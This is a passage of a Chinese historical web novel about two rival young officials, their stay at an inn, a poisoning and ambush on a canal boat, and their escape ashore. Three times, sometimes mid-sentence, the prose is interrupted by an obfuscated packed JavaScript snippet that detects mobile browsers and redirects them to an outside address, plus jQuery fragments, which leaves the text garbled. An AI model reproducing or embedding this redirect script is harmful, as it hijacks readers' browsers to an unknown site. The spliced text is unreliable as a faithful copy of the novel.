“这其实是从节省的本钱里赚钱，如果我算得没错，每碗面疙瘩汤大约有一两文的利润……” “四到五文。” 方靖咂舌：“不可能！” 明桂枝指了指灶头：“掌柜和伙计要吃早餐，本就需要生火。再者，住店的人大多是夜里无法再赶路，才来投宿的，就算后半夜都要备着热茶、热水，这灶头几乎从夜里一直烧到清晨，正好连早餐一起做了。” “所以柴火的消耗几乎可以不计……” 方靖终于彻底想通，由衷佩服：“住客不知道这层，于是更觉得划算！” “嗯，合理化烟幕。” “合理化……烟幕？” “住客没有经验去衡量这碗面疙瘩汤的真实成本，‘比市集便宜’，而且‘住客半价’，这两点，就像是一层烟幕，令住客觉得十文钱一碗很合理，甚至是物超所值。” 方靖觉得这什么“合理化”，什么“烟幕”太拗口，但道理他明白的。 “佩服！” “过奖了，你要来帮忙吗？” 明桂枝递给他一柄菜刀。 方靖没接：“君子远庖厨。” 明桂枝挑了挑眉。 方靖立即领悟，心道不好。 ——用错典故！ 果不然，明桂枝嗤笑：“我记得孟子不是这个意思。” 方靖觉得脸似火烧，此时此刻，巴不得地上有洞能钻进去。 但明桂枝年纪几乎能当他儿子，自己岂能在“他”面前露怯。 “是我错用典，然‘劳心者役人，劳力者役于人’，你既是读书人，当为劳心者，岂可做‘役于人’之事？” “我认为，欲为大者，当作人役。” 方靖的耳边似有嗡一声，直觉得这话每个字都掷地有声。 他呆呆站在原地。 许久，握起菜刀，默默剁葱。 一时间，厨房只有剁菜声，和咕噜咕噜汤沸声。 “手掌要曲着按葱，不然会剁到手指。” 明桂枝提醒。 方婧如法照做。 半晌，他问：“出自哪本经书？” “剁菜哪需读什么经书？” “不，那句话……‘欲为大者，当为人役’。” “忘了。” 明桂枝头也不抬回道。 “嗯？” “我读的书很杂，觉得有道理的话便记住。” “这样啊……” “要是没有道理的，哪怕出自四书五经，我也不一定记得。” …… 晨光钻进来客栈一楼的厅堂。 暖融融、亮晃晃。 一方小天地敞亮又舒坦。 方卯还没来得及细瞧，一股子勾人香气悠悠缠进鼻尖。 他寻着味儿去，竟看见厅堂里人手一碗热气腾腾的汤食。 蒸汽袅袅娜娜，把鲜香一股脑儿全给散了出来。 带着一股田野间刚冒头尖葱儿的清气，又揉进灶膛里柴火噼里啪啦烧出的暖烘烘的烟火味儿。 再加上猪油爆香的蒜酥气味，香得人心头打颤。 和着面食的麦香，缠缠绕绕，把这一方空气织成一张馋人的网。 住店的客人和方家、赵家的仆役们交错地围坐桌旁，有搭着话的，声音轻轻缓缓，透着闲适。 也有那急性子的，呼噜呼噜大口往嘴里送着，脸上被热气一蒸，满是餍足与畅快。 方家带了厨子，上京这小数月里三餐皆私厨主理，饮食上与在泉州无异。 但是……每次只他与方靖两人用膳，总觉得欠了什么。 眼前这小小厅堂被朝气填满。 晨光、汤面香、人声，都热热闹闹地攒在一处。 让人觉着，日子就该是这般有滋有味。 方卯恍然。 欠了的，原是人间烟火气。 管家看见他，立马停下碗筷，嘘地一声，方家一众仆役霎时安静。 厅堂里莫名静了一半声音，其他人面面相觑，亦陆续噤声。 是方卯习惯的清静。 却此刻，他为这熟悉的静谧感到落寞。 举目四顾，方卯瞥见赵斐独自在柜台旁，对着一块木板发呆。 幸而，还有个投机的人。 方卯不紧不慢朝着赵斐去。 待走近些，他才看清木板上的字样，以及那碗灵动的面疙瘩汤涂鸦，不由得微微挑眉。 又听得赵斐的仆役说道：“供应早餐以及住客半价皆是明大人的主意，字和画也是明大人亲手所作。” 方卯顿时来了兴致。 他略一沉吟，便想通其中关键，赞赏道：“妙，妙极！” 赵斐恍若未闻，只定定望着那字与画。待方卯轻轻咳了声，他才回过神。 “方大人，” 赵斐敛下心神，拱手道：“下官失礼了。” 方卯意兴盎然：“无妨，你定是参透其中精妙。” “什么精妙？” “这十文钱一碗的面疙瘩汤，利从何来。” 赵斐颇有些心不在焉，但也不好拂方卯兴致：“投店的人多是晚上入住，故这客栈的柴火一直生着，正好早上用作煮食；且方圆数里无食肆，住店的人必定顺便用餐，食材几乎无浪费。利，从此来。” “一语中的，”方卯拍手道：“与聪明人说话就是畅快！” “大人过奖了。” 方卯笑着细细端详那木板，玩味道：“状元郎的字居然是这般……？” 赵斐目光蓦地黯浓。 方卯又道：“竟然入得圣上法眼，他的文章一定惊才绝艳。” 日光偏移，一束晨光映进赵斐的眼睛，刺得他心慌。 他抬手遮挡。 恰好遮住不断蹙动的眼角。 赵斐觉得自己心底有一只狡黠的小兽，一下下在轻挠。 挠得心极痒。 窃喜如闪电般迅速划过。 他的思绪不由自主狂奔—— 看来，明桂枝的手真的受伤，那举世无双书法“他”再也写不出！ 只要…… 赵斐的心跳得极快，气息急促得快呛住。 只要暗中派人一点点地……毁掉明桂枝现有的文稿…… 时间的洪流会渐渐地、无声地、无情地将痕迹冲刷殆尽。 假以时日，这惊世的书法就会如同未曾在世间出现过一般。 无人知晓。 “可惜老夫皇命在身，不然，与你们一道儿重游杭州也是乐事。” “杭州暖风和煦，景色怡人，但你们别乐不思蜀。” “无锡县丞宋瞻是明桂枝的姑丈，万一有何不虞，你可找他……” 方卯的嘴巴一张一翕，在说着什么。 但赵斐全都听不真切。 直至对方转身，渐渐走远。 他猛地惊醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918038|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “方大人！” 赵斐大声唤道。 方卯回首，看见赵斐满额冷汗，不禁狐疑。 只听得他道：“他的字并非如此。” “哦？” “明桂枝书法造诣极高，圣上曾御笔批赞。” “那等下便让他露一手，” 方卯抚须笑道：“老夫也想看看，究竟何等精妙，连圣上也夸赞。” 赵斐不接话。 辰时的日光照到他脸上，比方才还刺眼。 但这次他没有再挡。 “允书？” “他的手受伤，以后或许都写不了。” 方卯眉头一皱，倏然正色。 “手腕钩骨轻微错位，” 赵斐如卸下千斤重担，长长吁气：“虽无法做精细的活计，但不至妨碍日常。” 方卯微微瞪目：“如此恶毒，是天机府所为？” “亦可能是辑事厂。” 赵斐直视窗外阳光，恍如隔世。 方才，是怎样的心魔附体…… 竟使他觉得这明媚的阳光如利剑可怖? “明桂枝极少在别处留字。” “可惜了。” 赵斐轻轻摇头，看向方卯，双眸一片清明坦荡：“户部古大人曾任我们书院山长，明桂枝策论写得极好，古大人必定一一保管珍藏，方大人可借阅鉴赏。” “好，” 方卯深深看他一眼：“你是个君子。” “下官方才挣扎过。” “君子论迹不论心。” …… 晌午，烈日高悬。 官道两旁尽是荒凉却葱郁的山林。 草木肆意生长，枝叶相互交织，似要将天空遮蔽。 偶有几声清脆鸟鸣，更衬出周遭静谧。 方家的马车悠悠前行，车轱辘碾出有节奏的声响。 车内空间宽敞，四壁挂着精致刺绣的幔帐。 车座用上等的檀木打造，铺了隔热的湘竹垫子，触手生凉。 “赵廓老奸巨猾，没想到他儿子竟是个正人君子。” “明家那小子也是妙人，年纪轻轻，能管中窥豹，确实状元之才……” “他们的山长居然是古长青，回京后，老夫定要先会一会他！” 方卯一头白发在光晕下泛着柔和的光。 他嘴角上扬，神情十分愉悦。 方靖默默坐他身旁，就像没有听见方卯的话一样。 他双眉微拧，眼神专注又带着几分凝重，时不时低下头，翻动手中的札记，眉头便拧得更紧一些。 札记纸张微微泛黄，上面密密麻麻写满了字，记录着自泉州上京路上各地的物价。 “仲安？” “在……” 方靖应了一声，但心神还是在札记上。 “有何不妥？” “……” 方卯脸上的笑容微微一滞，神色间露出些许不悦。 他轻咳一声，问道：“仲安，札记有何不妥。” 方靖如梦初醒，眼神中还残留几分恍惚。 他愣愣说道：“涨价了，真的涨价了……” 方卯烦极他痴痴蠢蠢的样子，轻喝一声：“方靖！” 方靖此时已完全从沉思中回过神来，他挺直身子，脸上带着急切：“叔父，胡椒涨价了！” “那又如何？” 方卯揉了揉太阳穴：“百姓不以胡椒为主食，调味佐料而已，米面价格平稳就好。” “不止胡椒！” 方靖双眼瞪得滚圆，眼中满是焦急之色：“豆蔻、丁香和肉桂都涨价了！” 方卯白了他一眼：“那你吃清淡一点，粗茶淡饭，有益身心。” “叔父！” 方靖胸膛剧烈起伏着，额头上也隐隐冒出细密的汗珠：“船要来了！载满银子的船要来了！” “啊？” 8. 埋伏 晌午头的日头最毒，海津镇码头活似个煎饼鏊子。 货船挨挨挤挤泊在岸边，帆索纠缠如老妪的裹脚布。 桐油刷的船帮子泛着泥金色的光，倒映着苦力们黧黑的脊梁。 南侧的一处凉亭里，赵斐静静远眺缓缓靠岸的船只。 正是他们此次南行租用的船。 船体长约数丈，宽度适中，船帆在阳光的照耀下，呈现出斑驳的灰白色，边缘处因长期的风吹日晒已微微磨损。 赵斐遣人定了三艘船。 到最后一刻才决定上哪一艘。 该是万无一失的。 一旁的侍墨正与船家商谈行程：“按如今的风向，多久可抵达沧州？” “沧州五日准到！” 船家老曲头搓着脖上铜哨子，那哨绳磨得起了毛边，像条褪皮的蛇。 侍墨盯着他皴裂的指甲缝瞧——里头嵌着黑泥，该是常年抓缆绳磨的。 又问：“补给够吗？” “每日靠岸，净水鲜蔬管够！” 老曲头咧开一嘴黄牙，喷出的蒜味儿熏得侍墨直后仰。 赵斐闻言，眉毛微微一挑，朝船家瞥过一眼。 一名黑黑的杂工匆匆跑来，在老曲头耳边低语：“桂花鱼备好了，鲜活着呢。” 老曲头轻轻点头，杂工匆匆退下。 赵斐的皂靴碾过跳板上的鱼鳞，嘎吱响。 老曲头右臂那块疤叫他多瞧了两眼——铜钱大小，边沿齐整，是箭簇擦的。 “桂花鱼？” 他忽然出声，惊得船篷上打盹的鸬鹚扑棱棱飞走。 “公子好灵的耳！”老曲头拇指往西边一指，船家笑得十分热情：“听说京城的少爷们都嫌海鱼腥气，特意准备的河鱼。” 赵斐轻轻“嗯”了一声，若无其事问道：“明日何时靠岸？” 老曲头答得很快：“午时，在杨家村停靠，公子若然吃不惯咱家准备的饭菜，明日也可到岸上煮食。” “真是周到。” 赵斐轻哼一声。 “您这趟船撒的铜板响当当的，银子都码齐活了！”老曲头把铜哨子往领口一塞，黄板牙缝里滋出唾沫星子，“咱虽是个睁眼瞎，可也懂得灶王爷吃糖瓜——甜嘴又甜心呐！” 他拍着船帮子砰砰响，惊起滩涂上一串沙蟹，“您放一万个心，这趟船保准比新媳妇回门还熨帖！” 赵斐没有理会，朝侍墨问：“表公子呢？” 为免节外生枝，赵斐隐去二人官职身份，谎称商户偕同表弟回乡探亲。 侍墨指着码头市集的方向：“表公子说想逛市集。” “嗯？” “东家放心，飞羽陪同表公子一道。” 赵斐眉头略舒。 飞羽是他父亲的贴身侍卫，武功高强且经验老到，唯恐这路上遇到意外，父亲特意遣给他用的。 有飞羽跟随，足可应付寻常状况。 但码头鱼龙混杂，万一呢？ 赵斐心底一丝隐忧如薄烟袅袅升起。 他疾步朝市集方向去。 时值正午，竟有淡淡凉意。 人群如潮水般涌动，嘈杂的声音在耳边回荡，仿佛一层无形屏障，将赵斐隔绝。 心中的莫名不安，愈渐扩散。 终于，他拨开一重又一重的人群，看到了明桂枝。 码头闹哄哄像个烧开的汤锅。 明桂枝拿着个荠菜包子，油汁顺着虎口往下淌，在日头底下亮堂堂的。 卖包子的老妪瞅她腮帮子鼓囊囊的样儿，又塞过来个香菇肉包：“公子哥细皮嫩肉的，当心烫着舌头！” 赵斐杵在鱼摊子前头，眼风斜斜往那厢扫。 明桂枝后脑勺翘着撮呆毛，叫江风撩得直打旋儿，像茶寮幌子下吊着的流苏。 背光的影子拖得老长，正巧盖住个卖菱角的小童，那孩子仰头瞧着明桂枝手里的包子，哈喇子挂成银丝。 “嚓”一声，明桂枝咬破了包子皮。 热腾腾的雾气腾起来，混着江面的水汽，把“他”眉眼糊成了幅没干透的山水画。 赵斐想起有年端阳节，祠堂供案上的蜜供被晒化了，糖稀顺着烛台往下滴，也是这般粘稠稠地模糊了边界。 卖鱼郎的刀背“啪”地拍在案板上，惊得赵斐眼皮一跳。 再抬眼时，明桂枝正拿包子皮逗弄那馋嘴小童，腕子上的翡翠串子晃啊晃，好似钓竿上的浮漂。 江风卷着鱼腥气扑过来，赵斐恍惚觉得这场景似在旧梦里见过——隔了层淋雨的窗纸，瞧着真切，伸手一捅就破。 ——“允、表兄！” 明桂枝先唤的他。 赵斐回过神，不安稍稍缓解，但仍带着警觉，朝着明桂枝快步走去。 明桂枝又咬一大口包子，一边嚼着一边含糊不清道：“你吃了吗？” 说着，递给他一个暖呼呼的包子。 赵斐没有接，目光转向一旁沉默伫立的飞羽，飞羽微微颔首，示意一切安好。 赵斐这才将视线重新落回明桂枝身上，“你不怕有毒？” 他附身“他”耳边道：“你知道，此时此刻，有多少人想你死吗？” “包括你？” 明桂枝反问。 赵斐一怔。 “说笑而已，” 明桂枝看他发愣，拍拍他肩膀笑道：“大家都说咱们两家是世仇，若我死了，天下人都会说是你下手的。” 赵斐审视着“他”每一个表情细节，眸色渐黯。 明桂枝对上他幽沉的视线，笃定道：“所以，普天之下，你才是最不想我死的。” “你知道就好。” “放心，随机挑的摊档，随机挑的包子。下毒的人再有本事，也不可能把整个市集的食物都下毒。” “那你多吃几个。” “哦？” “今晚的饭菜有毒，” 赵斐的声线压得极低，几近不可闻：“做场戏，看看幕后是谁。” 他说得认真。 明桂枝反而拿不准他是否在说笑。 …… 夜航船吱吱呀呀摇，仿佛老婆婆的纺车。 月亮跌在运河里，碎成千万片银鳞，叫船头一撞，又化作点点流萤。 打更的梆子声从岸上荡过来，撞上舱板裂了缝，漏进半声“笃——”，恍惚间以为是谁在梦里打嗝。 明桂枝掀开绯绸帘子时愣了神——这料子约莫是船家从哪处戏班子讨来的，大红大绿绣着鸾凤，生生把个乌篷舱衬成了野台子。 舱顶漏下的月光正巧照在矮榻上，补丁摞补丁的棉褥子叫红绸一映，显出几分洞房喜被的荒唐。 她犹豫，是否真如赵斐所说的做场戏。 真的有那么多人想杀她？ 以至于才刚出京城，就要下毒？ 再说了，便是做戏，那究竟是蒙汗药，还是穿肠毒？ 是要装肚子疼，还是要睡倒下来？ 内厅只有赵斐与明桂枝二人，相对而坐。 “表弟，用膳吧。” 赵斐抬高声线，似乎是说给门外的人听。 明桂枝低声问他：“是什么毒？” “不知道？” “那我作什么反应？” 赵斐的筷子头在醋碟沿上“嗒”地一敲，淡淡道：“见机行事。” 裹着鱼汤的热气还没散尽，他袍袖已扫过半桌席面。 粗瓷碗碰着陶瓦盘，叮铃咣啷砸出满地星子。 乳炊羊的浓汤泼在绯红帘子上，似谁家新妇哭花了胭脂。 他顺势躺倒地上，佯装昏迷。 明桂枝心领神会。 她的戏来得更脆生，捂着心口往条凳上一歪，指尖掐着桌沿直打颤：“天哪，有毒！这鱼......这鱼要人命哟！” 尾音打着旋儿往舱顶钻，惊得梁上灰鼠险些摔进鱼羹里。 舱板忽地咚咚响，像是谁在底下擂鼓。 夹杂兵器碰撞发出的 “哐哐” 声。 眨眼间，船舱门被猛地推开，船上水手蜂拥而入，将狭小的船舱挤得满满当当。 为首之人正是那老曲头，白日里堆笑的褶子脸，此刻绷得比船帆还紧。 明桂枝双手紧紧捂住肚子，身体蜷缩在地上，发出急促的喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918039|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息声。 她强忍着 “疼痛”，声音颤抖地问道：“你们是谁？护卫呢？” “明大人，得罪了。”老曲头跨步到她身前，语气不似预期的不屑、嘲讽，反倒带着一丝难以忽视的歉意：“你我本无怨，但我等身负使命，情非得已。” 明桂枝心中一动。 她眼角余光瞥见身旁的赵斐。 赵斐紧闭双眼，呼吸微弱，像是已然昏迷过去。 她暗叹赵斐这演技精湛，同时也清楚，此刻只能靠自己周旋。 明桂枝卷着身子，抵着一旁的樟木箱直抽抽。 她咬着牙，艰难地抬起头，直视着老曲头的眼睛：“冤有头，债有主，我这遭是逃不掉的，但你好歹告诉我，究竟何人指使，等我做鬼也不要报错仇！” 老曲头的褶子脸皱成了腌苦瓜，铜哨子在指间搓得发烫。 舱底的江水汩汩响，仿佛是替他数着心跳。 明桂枝蜷在樟木箱旁，掐大腿根的指甲印子渗着血丝，愣是憋出满头冷汗。 “您若化作厉鬼索命......”老曲头抬脚碾碎个鱼头，眼珠子盯着明桂枝，“找裕王殿下。” 他喉头滚了滚，吐出的字儿裹着鱼腥气，“裕王的阎王帖，咱可不敢不接。” 明桂枝的“哎哟”声卡在嗓子眼。 她杏核眼瞪得滚圆，活像刚起网的团头鲂。 正要张口，忽见老曲头右肩窜出截剑尖——原是赵斐的剑鞘早抵在舱板缝，剑光如银鱼出水，眨眼间咬下块带血的肉。 “嗷——！” 老曲头的惨叫惊飞夜鹭，血箭滋在舱板上，断臂砸进桂花鱼羹里，汤汁登时染成胭脂色。 明桂枝的假疼倒成了真哆嗦——一截断指头正巧落在她衣角上，指尖还蠕蠕微动。 赵斐的皂靴踩着血沫子过来，剑尖挑起老曲头的下巴颏：“大胆逆贼！” 伴随他这声怒喝，护卫们踩着满地鱼羹、菜肴涌进来，靴底粘的鱼鳞在琉璃灯下泛彩，犹如天兵踏着星河来擒妖。 血腥之气如重重浓雾，沉沉笼罩。 护卫们动作娴熟，如鬼魅般穿梭于一众贼人之间，不过眨眼的工夫，便将这一众贼人像捆粽子一般，个个制得服服帖帖。 赵斐手持染血长剑，一步一步，缓缓逼向跪在地上、断臂处仍汩汩冒血的老曲头。 “毒害朝廷命官，还妄图嫁祸裕王殿下？” 赵斐的声音仿若从九幽地狱传来：“你说出幕后之人，便饶你一死。” 这话裹挟着冰霜，在狭小的船舱回荡。 船家面色惨白，豆大的汗珠从额头滚滚落下。 他咬了咬牙，赌咒发誓起来：“天地可鉴，若非裕王指使，又岂会独独放过赵大人你？” “胡说！” “反正杀朝廷命官是死罪，何不干脆把你俩都杀了，死无对证，岂非更轻易？何苦大费周章，先将赵家的人迷昏，来洗脱你的嫌疑？” 赵斐怒极反笑。 手中的长剑轻轻一抖，剑刃上的血珠飞溅而出：“不见棺材不落泪。” 他轻轻挥剑，割断挂铜哨子的残绳，剑尖划过船家的脖子，留下一道半深不浅的血痕。 “说！”赵斐声线已然带上杀意。 船家的脸色煞白如纸，身子抖如筛糠，仿佛下心神已被杀气碾碎。 他带着哭腔喊道：“我说，赵大人，我说！真正的幕后黑手是……” 赵斐眼中闪过一丝狐疑，却还是稍稍松开抵在对方脖子上的长剑。 就在众人都凝神细听之时，船家捡起掉落地上的铜哨子，猛地一仰头，用尽全身力气吹响。 ——“哔——哔！” 哨音尖锐刺耳，登时划破船舱内紧张的空气。 几乎是同一瞬间，“嗖、嗖、嗖” 几声，数支带火的箭从船外如流星般射了进来。 箭镞带着熊熊烈火，火势迅速蔓延。 紧接着，“轰隆、轰隆” 几声巨响，船舱各处传来剧烈的爆炸声，整艘船都剧烈摇晃起来，仿佛随时被撕成碎片。 原来，船上早被安置了火药。 9. 患难之交 爆炸声陆续响起，攻守逆势。 护卫们纵训练有素，但埋伏太突然，难免措手不及，只得在混乱中勉强集结，与贼人殊死搏斗。 刀光剑影在浓烟与火光中闪烁。 喊杀声、惨叫声交织，奏响一曲死亡的乐章。 赵斐身手敏捷，染血的长剑在他手中挥舞得密不透风。 他目光始终紧紧锁定明桂枝，每一个动作都只为护“他”周全。 一道道致命刀剑袭来，被他精准地挡下，或是巧妙地避开。 他的衣衫被划破，几处伤口渗出的鲜血，在绸缎面料上晕染开来，如泼墨红梅。 歹徒攻势猛烈，赵斐和明桂枝渐渐被逼到船舷处。 熊熊大火阻断退路。 身后是波涛汹涌的江水，面前是如狼似虎的敌人。 赵斐微微蹙眉，与明桂枝交换眼神。 明桂枝瞬间会意：“我会游泳。” 赵斐不再犹豫。 他猛地伸出手，将明桂枝朝着水里推去。 “扑通” 一声，明桂枝的身影瞬间没入水中。 紧接着，赵斐也纵身一跃，如同一尾灵动的鱼，扎进波涛之中。 冰冷刺骨的海水里，二人对视一眼，默契地朝着岸边方向拼命游去。 冰冷的海水拍打脸庞，每一次呼吸都伴随咸涩海水呛入喉咙。 身后，火船渐渐沉没。 爆炸声、喊杀声慢慢远去。 游了许久，两人体力渐渐不支，手臂和双腿灌了铅地沉重。 然而海岸线隐隐约约，在夜色中几近不可见。 突然，赵斐脚下一紧，被什么东西缠住。 他奋力挣扎，越挣扎缠得越紧，只得大力拍打水面。 明桂枝闻声往回游到他旁边。 “撑着！” 她毫不犹豫潜入水中，原来是一根旧船绳缠住他。 水下，她的眼睛被海水刺痛，好几次浮沉，那船绳却故意作对，死死缠在赵斐脚上，怎么也解不开。 赵斐眼睁睁看着明桂枝一次次没入冰冷刺骨的水里，身影在幽暗中若隐若现，每一次浮上水面，都带着徒劳。 他的心被一只无形的手狠狠揪住。 绝望比潮水汹涌，一波又一波漫袭。 他不想死。 他不过才十八岁。 人生的画卷刚刚展开，绚丽的色彩初现端倪，才刚刚高中榜眼。 宏伟的抱负、远大的理想，像璀璨星辰般在他脑海中闪烁。 如今，却被这要命的船绳束缚，所有梦想都摇摇欲坠，随时化作泡影。 “我救过你，你不能不救我！” 赵斐冲着明桂枝大喊。 可话一出口，他便后悔不迭。 他比谁都清楚，赵、明两家之间三代仇怨，犹如无法逾越的鸿沟，横亘在他们中间。 朝堂的明争暗斗，父辈们提及对方时的咬牙切齿，皆历历在目。 更况且，刚刚那贼人口口声声说是裕王指使。 自己的嫡亲姑丈，要置“他”于死地。 如此一来，明桂枝就算见死不救，亦不会良心不安。 冰冷的波涛将他最后的一丝希望拍散。 月光一下下被云吃掉。 咸涩的海水灌进鼻腔，像他十岁那年的雪粒子，密密匝匝往领口里钻。 ——“读书比不过就算了，你连射箭都输给姓明的！” 父亲的声音混着浪头砸来。 那年腊月，校场积雪三尺，明桂枝的红斗篷在箭靶前晃啊晃，如一团烧着的火。 他搭箭的手抖得厉害，翎羽擦过耳尖时，恍惚听见父亲从牙缝里挤出的冷笑：“废物！” 箭，射在三圈之外。 气泡咕嘟咕嘟往上窜，仿佛那年雪地里呵出的白气。 明桂枝的箭簇正中靶心时，校场喝彩声惊飞了老槐树上的寒鸦。 他记得自己抠着冻僵的指头，雪水顺着裤管往靴筒里渗——竟不如现下河水暖和。 身体愈发沉重。 船绳越挣越紧，十足父亲那条浸过桐油的马鞭，专往脚踝旧伤上勒。 当时他蜷在祠堂青砖地上，父亲把断成两截的箭镞砸过来：“怎么不把自己射个对穿？死了倒干净！” 碎木屑扎进他掌心，血珠滴在《赵氏家训》上，把“克己复礼”四个字晕染成一朵红牡丹。 ——“你怎么不去死！” 父亲的鹿皮靴尖碾过碎箭杆，嘎吱声混着浪声在耳膜上凿洞。 赵斐忽然想笑，喉头却灌进河水。 这些年，悬在他头上的利剑，原来并非明桂枝的笔与箭，而是父亲的一声声“废物”。 指尖忽然触到片粗粝。 恍惚间，是那年祠堂青砖缝的苔藓。 “哗啦！” 月光破云而出。 赵斐瞪着眼看那圈光晕，活似学堂里明桂枝案头的哥窑笔洗。 水面上忽地炸开一团黑影，“他”扎猛子的姿势，比当年射箭还利索。 脚踝猛地一松。 赵斐呛着水浮上来时，正看见明桂枝湿漉漉的后颈——那里缀着粒朱砂痣，被海水泡得发亮，红得像雪地里那支扎进靶心的箭簇。 这抹红色，曾烙得他眼底生疼，此刻却成了救命绳头的红穗子。 “咳、咳咳......” 赵斐的五指深深掐进掌心旧伤，血丝混着海水，从指缝渗出。 疼痛尖锐如父亲砸来的断箭，混沌的脑子霎时清明三分。 “谢......” 话刚滚到舌尖就被河水撞散了。 明桂枝笑了笑，不以为意：“省些力气，继续游。” 赵斐也笑了。 他们对视一眼，没有说话，默默朝着那看似遥不可及的岸边游去。 …… 三更天。 天际寥寥星辰。 芦苇荡弥漫雾气。 明桂枝瘫在浅滩上喘气，袍角缠着水草，像条刚捞上来的鲶鱼。 赵斐的碧玉发冠早不知漂哪儿去，他散着湿发往沙地里一坐，倒显出三分少年相——若忽略脸上叫海盐渍出的白霜。 “哈、哈啾！” 明桂枝的喷嚏惊飞了苇丛里的夜鹭。 她哆嗦着去拧衣摆，腕骨凸起的棱角在月光下泛青。 赵斐摸火折子的手突然顿住——“他”手上的伤患…… 甩了甩脑海里杂乱的念头，他手指冻得僵硬，好不容易将火折子握住，正准备划燃生火取暖。 ——“不能生火！” 两人喉咙里同时蹦出这话，排演过似的。 这一而再、再而三的默契，让两人同时一怔。 笑声是明桂枝先起的。 起初闷在胸腔里打转，渐渐扯出串咳嗽，咳着咳着竟带出几分畅快。 赵斐的嘴角跟着抽了抽，这一抽便收不住势，笑得栽倒在沙窝里。 雾气混着咸涩海风，全呛进喉管，比京城的醉仙楼的酒还辣嗓子。 “允书兄，你这破锣嗓子，”明桂枝拿苇杆戳他肩膀，“招来贼人倒省得咱吹哨。” 话没说完自个儿先打了个晃，湿发糊在脸上像团乱麻。 赵斐这才看清“他”右颊有道新添的血痕，细如丝，艳如朱砂。 明桂枝也看向赵斐。 他的衣衫仿若历经战火洗礼，破损不堪。 那几道为了护她周全，而被歹徒利刃划破的伤口，在惨白月光下格外狰狞。 经过河水长时间的浸泡，伤口周边已然泛起红肿，丝丝缕缕血水，还在极缓慢地往外渗，洇污衣衫，透出淡淡血腥气。 她叹气，轻轻一拍赵斐的肩膀：“多亏有你，若无你相护，我定被他们像片皮鸭那样片开。” “我也多亏有你，”赵斐肩膀一疼，却还是笑道：“若无你几番冒险泅潜，我大概成上汤鱼羹了。” “哈哈哈，上汤鱼羹。” “嘿，片皮鸭。” 说笑声里，周围的寒意似乎消散些许。 在这陌生又荒芜无际的芦苇岸，他们阴差阳错成了彼此短暂却唯一的依靠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918040|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮水退下去，露出沙地上歪七扭八的脚印。 赵斐指着东边苇丛："往那处走。" 话音未落，明桂枝已经踉跄着起身，袍角滴滴答答拖出条水线，十足蜗牛爬过的痕。 两人逆月亮的方向往东走，四周静谧。 只有干枯芦苇枝被踩碎的声响。 明桂枝问：“那伙贼人露出了什么破绽？” “破绽不少，” 赵斐掰着冻僵的指头：“其一，大运河上的大码头彼此相距不算远，船家们行船，大多一次备好四五天的食用，极少会每日都在村庄靠岸。可这船家倒好，天天靠岸。” “太过刻意。” “其二，我问他明日何时靠岸，他答午时。” “午时？” “明日初八，午时正值退潮，退潮时靠岸？他分明连潮汐表都未背过。” 明桂枝讶然，赵斐并不是只会应试之人，天文地理也能学以致用。 转念，又觉得自己太狭隘——对方是榜眼，自然学识渊博。 赵斐接着说道：“其三，海津地处河海交界，当地海鲜既便宜又鲜美，偏要绕十多里买桂花鱼......” “为什么？” “因为你爱吃。” 明桂枝眉梢微皱。 原身喜欢吃桂花鱼。 可是……那些歹徒如何知晓？ 月光照在二人发梢凝的盐霜上，晶晶亮像撒了把碎银。 小径曲折蜿蜒，夜露悠悠渗浸他们尚未干透的衣物。 苇叶沙沙响着割开月色。 赵斐盯着自己影子，忽道：“往后，习惯喜好不要轻易展露。” “好。” “你手上的伤，是何人所为？” “什么？” 赵斐沉默一会儿，“天机府？还是辑事厂？” 明桂枝被问得一头雾水，脚步骤然停下。 夜风幽幽。 赵斐轻轻拨开一丛芦苇，继续说：“我知道，你的手腕钩骨有错位，不影响日常，却再不能悬笔……” 明桂枝一滞，下意识地摸着自己手腕。 原来如此。 前日在客栈门口，被赵斐用力握过之后，她手腕便一直隐隐作痛。 她还以为是被他弄伤。 “如此阴鸷手段，天机府和辑事厂都懂得，” 赵斐面色凝重：“你可记得那些人身上有何特征？” 四下无声，唯有芦苇在风中摇曳。 明桂枝紧了紧湿漉漉的衣衫。 水珠掉落的滴答声，于寂静凉夜格外清晰。 芦苇深处传来夜枭啼叫。 赵斐的皂靴陷进湿沙，拔足时带起串泥浆。 二人不发一言走了好久。 直至浮云将月光笼罩。 夜幕化身巨大乌毡，沉甸甸压下，严严实实笼罩芦苇荡。 “我不记得。” 明桂枝说道。 “无妨，来日方长。” “不，我什么都不记得。” “嗯？” 赵斐轻应一声，透着疑惑。 他看向对方，想要看“他”的表情。 可夜色浓重，他只看到一个模糊的轮廓。 明桂枝的声音，被风扯得支离破碎。 